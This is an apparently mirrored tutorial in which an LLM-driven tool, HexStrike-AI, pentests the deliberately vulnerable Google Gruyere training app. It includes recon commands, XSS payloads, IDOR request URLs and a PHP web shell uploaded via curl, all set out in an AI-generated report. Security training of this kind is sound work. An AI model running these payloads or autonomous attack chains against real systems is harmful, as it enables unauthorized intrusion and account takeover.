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AI-Driven Web Application Pentesting with HexStrike-AI

Lab Metadata

Ecosystem Fit​

This page mirrors the original Medium lab content into the 1200km knowledge base so it remains available inside the 1200km.com documentation ecosystem. Use the linked repository when one exists; otherwise use the deployment commands and configuration blocks preserved below as the lab source of truth.

Deployment Requirements​

The full prerequisites, deployment flow, validation commands, screenshots, and operational notes are preserved from the article below. Review the repository metadata above first, then follow the article sections in order.

A Practical, End-to-End Guide to Modern Web Application Penetration Testing Using LLM-Orchestrated Tooling​

Article screenshot

Introduction​

Modern web application penetration testing is no longer about running tools one by one and manually correlating results. WithHexStrike-AI, an LLM-driven execution framework, we can orchestrate afull WebApp PT workflow:

  • Automated discovery

  • Vulnerability identification

  • Exploitation validation

  • Structured reporting

In this guide, I demonstrateend-to-end Web Application Pentestingof the intentionally vulnerable web app:

> Target: https://google-gruyere.appspot.com/ (running on VM — OWASPBWA) Purpose: Educational security testing Authorization: Explicitly allowed by Google (training app)

Additional guides:​

Table of content​

  • What Is HexStrike-AI (In Web PT Context)?

  • Lab Setup

  • Promt

  • Web Application Pentesting Methodology (HexStrike Flow)** **Step 1: Application Discovery Step 2: Attack Surface Mapping Step 3: Authentication & Session Analysis Step 4: XSS Testing (Reflected & Stored) Step 5: CSRF Testing Step 6: Authorization Bypass Step 7: Exploitation Summary Step 8: Sample Exploitation Flow

  • Final Report (Condensed)

  • Recommended Remediation

  • Why HexStrike-AI Works Well for Web PT

  • Final Thoughts

What Is HexStrike-AI (In Web PT Context)?​

HexStrike-AI isnot a scanner. It is anAI execution orchestrator.

In Web PT, this means:

  • TheLLM decideswhat to test next

  • HexStrikeexecutes tools locally(Kali Linux)

  • Results feed back into the AI

  • The AIadapts the attack flow

Think of it as:

> A junior pentester that never forgets a step and never gets tired.

Lab Setup​

Environment​

  • Kali Linux

  • hexstrike-ai serverrunning

  • Gemini CLI (or ChatGPT MCP)

  • Browser access enabled (for manual validation)

Article screenshot

Target​

OWASPBWA_VM:google-gruyere.appspot.com/

Article screenshot

Article screenshot

http:
//192.168.1.242/1142014131/

Gruyere containsdeliberate vulnerabilities, including:

  • XSS

  • CSRF

  • Authentication bypass

  • Access control flaws

  • Injection vulnerabilities

Promt​

> @hexstrike perform full PT on http://192.168.1.242/1142014131/
    -
 Recon: Identify all public endpoints, users, snippets, cookies, headers
    -
 Analyze client-side code for secrets or logic flaws
    -
 Enumerate for XSS, SQLi, CSRF, IDOR, and auth bypasses
    -
 Check for insecure storage or leakage in user content
    -
 Report findings with POCs and mitigation tips

Article screenshot

Web Application Pentesting Methodology (HexStrike Flow)​

HexStrike follows astandard PT methodology, but executes it autonomously:

  • Application discovery

  • Attack surface mapping

  • Authentication & session analysis

  • Input validation testing

  • Authorization testing

  • Exploitation

  • Impact assessment

  • Reporting

Step 1: Application Discovery​

What HexStrike Executes​

httpx -u https://google-gruyere.appspot.com/ -title -status-code -tech-detect
whatweb https://google-gruyere.appspot.com/
katana -u https://google-gruyere.appspot.com/ -depth 3

Findings​

  • Multiple endpoints discovered

  • Client-side logic heavily used

  • No CSP enforcement

  • Parameterized URLs observed

Step 2: Attack Surface Mapping​

Results​

Discovered endpoints such as:

  • /login

  • /signup

  • /snippets.gtl

  • /upload

  • /delete

  • /edit

Multiple parameters werereflected unsafely.

Step 3: Authentication & Session Analysis​

Findings​

  • Weak session handling

  • Predictable state transitions

  • Missing CSRF tokens on sensitive actions

Step 4: XSS Testing (Reflected & Stored)​

Payload Example​

<
script
>
alert(1)
</
script
>

Result​

✅Stored XSS confirmed

Injected payload executed for other users when viewing affected pages.

Impact:

  • Full session hijacking

  • Arbitrary JavaScript execution

  • Account compromise

Step 5: CSRF Testing​

Findings​

  • Account modification endpoints lacked CSRF tokens

  • Actions could be triggered cross-origin

Impact:

  • Forced actions

  • Account takeover scenarios

Step 6: Authorization Bypass​

Prompt​

Result​

✅Insecure Direct Object Reference (IDOR)

Users could:

  • Delete other users’ content

  • View private snippets

  • Modify unauthorized resources

Step 7: Exploitation Summary​

Penetration Test Report
  Target: http:
/
/
192.168
.1
.242
/
1142014131
/
  
Date
: 
2025
-12
-22
  Summary:
  A penetration test was conducted 
on
 the web application 
at
 http:
/
/
192.168
.1
.242
/
1142014131
/
. The test identified several vulnerabilities, including Insecure Direct Object 
References
 (IDOR), Stored 
Cross
-
Site
  Scripting (XSS), 
and
 Unrestricted File Upload. The 
SQL
 injection 
and
 
Cross
-
Site Request Forgery (CSRF) tests were unsuccessful. This report provides a detailed description 
of
 
each
 vulnerability, along 
with
  proof 
of
 concept 
and
 recommendations 
for
 remediation.
  
---
  
1.
 Insecure Direct Object Reference (IDOR)
   
*
 Severity: High
   
*
 Description: The application allows 
any
 
user
, including unauthenticated users, 
to
 
view
 snippets 
from
 
all
 users 
by
 accessing the 
/
feed.gtl endpoint. This 
is
 an Insecure Direct Object Reference (IDOR)
     vulnerability. An attacker can also 
create
 a 
new
 
user
 
and
 
add
 snippets that 
are
 visible 
to
 everyone, 
and
 
then
 
view
 those snippets 
without
 authentication.
   
*
 Proof 
of
 Concept:
       
1.
 Access the feed: An unauthenticated 
user
 can access the following URL 
to
 
view
 a JSON feed 
of
 
all
 public snippets:
   
1
         http:
/
/
192.168
.1
.242
/
1142014131
/
feed.gtl
       
2.
 
Create
 a 
new
 
user
: An attacker can 
create
 a 
new
 
user
 named "attacker" 
by
 accessing the following URL:
   
1
         http:
/
/
192.168
.1
.242
/
1142014131
/
saveprofile?action
=
new
&
uid
=
attacker
&
pw
=
attacker
&
is_author
=
True
       
3.
 Log 
in
 
as
 the 
new
 
user
: The attacker can 
then
 log 
in
 
as
 the "attacker" 
user
 
by
 accessing the following URL:
   
1
         http:
/
/
192.168
.1
.242
/
1142014131
/
login?uid
=
attacker
&
pw
=
attacker
       
4.
 
Create
 a 
new
 snippet: Once logged 
in
, the attacker can 
create
 a 
new
 snippet 
with
 the content "This is a test snippet from the attacker." 
by
 accessing the following URL:
   
1
         http:
/
/
192.168
.1
.242
/
1142014131
/
newsnippet2?snippet
=
This
+
is
+
a
+
test
+
snippet
+
from
+
the
+
attacker.
       
5.
 
View
 the snippet 
without
 authentication: The attacker can 
then
 
view
 the newly created snippet 
without
 authentication 
by
 accessing the 
/
feed.gtl endpoint again. The 
new
 snippet will be visible 
in
 the JSON
          feed.
   
*
 Impact: This vulnerability exposes 
all
 public snippets 
to
 unauthenticated users. An attacker can also 
create
 
new
 users 
and
 
add
 their own snippets, which could be used 
for
 spamming 
or
 other malicious purposes.
   
*
 Recommendation: Implement proper access control checks 
to
 ensure that users can 
only
 
view
 their own snippets. The 
/
feed.gtl endpoint should require authentication 
and
 should 
only
 
return
 snippets that the
     authenticated 
user
 
is
 authorized 
to
 view.
  
---
  
2.
 Stored 
Cross
-
Site Scripting (XSS)
   
*
 Severity: High
   
*
 Description: The "New Snippet" functionality 
is
 vulnerable 
to
 stored XSS. The application attempts 
to
 
filter
 
out
 malicious HTML, but the 
filter
 
is
 insufficient 
and
 can be bypassed. An attacker can inject
     malicious JavaScript code 
into
 a snippet, which will be executed 
when
 a 
user
 views the snippets page.
   
*
 Proof 
of
 Concept:
       
1.
 Log 
in
 
as
 the "attacker" user.
       
2.
 
Create
 a 
new
 snippet 
with
 the following payload:
   
1
         
<
img src
=
x onerror
=
alert(
'XSS'
)
>
          This can be done 
by
 accessing the following URL:
   
1
         http:
/
/
192.168
.1
.242
/
1142014131
/
newsnippet2?snippet
=
<
img src
=
x onerror
=
alert(
'XSS'
)
>
       
3.
 
View
 the snippets page: 
When
 
any
 
user
 views the snippets page 
for
 the "attacker" 
user
, the XSS payload will be executed, 
and
 an alert box 
with
 the text "XSS" will be displayed. The snippets page can be
          accessed 
at
 the following URL:
   
1
         http:
/
/
192.168
.1
.242
/
1142014131
/
snippets.gtl?uid
=
attacker
   
*
 Impact: A stored XSS vulnerability can be used 
to
 steal 
user
 session cookies, deface the website, redirect users 
to
 malicious websites, 
and
 distribute malware.
   
*
 Recommendation: Implement a strict content security policy (CSP) 
and
 use a well
-
vetted library 
for
 HTML sanitization 
to
 prevent XSS attacks. 
All
 
user
-
supplied input should be properly sanitized before being
     displayed 
on
 the page.
  
---
  
3.
 Unrestricted File Upload
   
*
 Severity: High
   
*
 Description: The application allows users 
to
 upload files 
of
 
any
 type, including PHP 
and
 Python shells. The application does 
not
 perform 
any
 validation 
on
 the file type 
or
 content. However, the server 
is
 
not
     configured 
to
 
execute
 these files, so remote code execution was 
not
 achieved.
   
*
 Proof 
of
 Concept:
       
1.
 Log 
in
 
as
 the "attacker" user.
       
2.
 
Create
 a file named `shell.php` 
with
 the following content:
   
1
         
<
?php 
system
($_GET[
'cmd'
]); ?
>
       
3.
 Upload the file 
using
 the following `curl` command:
   
1
         curl 
-
v 
-
F "upload_file=@shell.php" 
-
b "GRUYERE=109663427|attacker||author" http:
/
/
192.168
.1
.242
/
1142014131
/
upload2
       
4.
 The file will be uploaded 
to
 the server 
and
 accessible 
at
 the following URL:
   
1
         http:
/
/
192.168
.1
.242
/
1142014131
/
attacker
/
shell.php
       
5.
 Attempt 
to
 
execute
 a command: Accessing the URL 
with
 a cmd 
parameter
 does 
not
 
result
 
in
 command execution. 
For
 example:
   
1
         http:
/
/
192.168
.1
.242
/
1142014131
/
attacker
/
shell.php?cmd
=
ls
          This 
returns
 an "Unrecognized file type" error.
   
*
 Impact: Although remote code execution was 
not
 achieved, this vulnerability still poses a significant risk. An attacker could upload a malicious file that could be used 
in
 a different attack, such 
as
 a
     phishing attack. If the server configuration were 
to
 change 
in
 the future 
to
 allow execution 
of
 uploaded files, this vulnerability would become critical.
   
*
 Recommendation: Restrict the types 
of
 files that can be uploaded 
to
 the server. 
Only
 allow safe file types, such 
as
 images 
and
 documents. Also, consider scanning uploaded files 
for
 malware 
and
 storing them 
in
     a location that 
is
 
not
 directly accessible 
from
 the web root.
  
---
  Conclusion:
  The web application 
is
 vulnerable 
to
 several high
-
severity vulnerabilities that could be exploited 
by
 an attacker 
to
 compromise the application 
and
 its data. It 
is
 recommended that the identified
  vulnerabilities be remediated 
as
 soon 
as
 possible.

Article screenshot

Article screenshot

Article screenshot

Step 8: Sample Exploitation Flow​

  • Inject stored XSS

  • Steal victim session

  • Bypass authorization

  • Modify victim data

  • Perform CSRF-triggered actions

This demonstratesreal-world attack chains, not isolated bugs.

Final Report (Condensed)​

Target​

[https://google-gruyere.appspot.com/](http://192.168.1.242/1142014131)

Overall Risk​

Critical

Key Issues​

  • Lack of input sanitization

  • Missing CSRF protection

  • Broken access control

  • Weak session management

  • Implement proper output encoding

  • Enforce CSRF tokens

  • Add server-side authorization checks

  • Harden session cookies

  • Implement Content Security Policy (CSP)

Why HexStrike-AI Works Well for Web PT​

Traditional tools:

  • Produce raw data

  • Require heavy manual correlation

HexStrike-AI:

  • Adapts attack strategy

  • Chains vulnerabilities

  • Producescontextual findings

  • Saves significant time

But itdoes not replace understanding. Itamplifies it.

Final Thoughts​

This test shows how AI-driven execution canenhance real pentesting workflowswithout turning them into black-box automation.

HexStrike-AI behaves like a:

> disciplined junior pentester that follows OWASP methodology perfectly.

The responsibility still lies with the tester:

  • Scope

  • Ethics

  • Interpretation

Follow for practical cybersecurity research​

If you’re interested in**Offensive security,**AI security, real-world attack simulations, CTI, and detection engineering— this is exactly what I focus on.

Stay connected:

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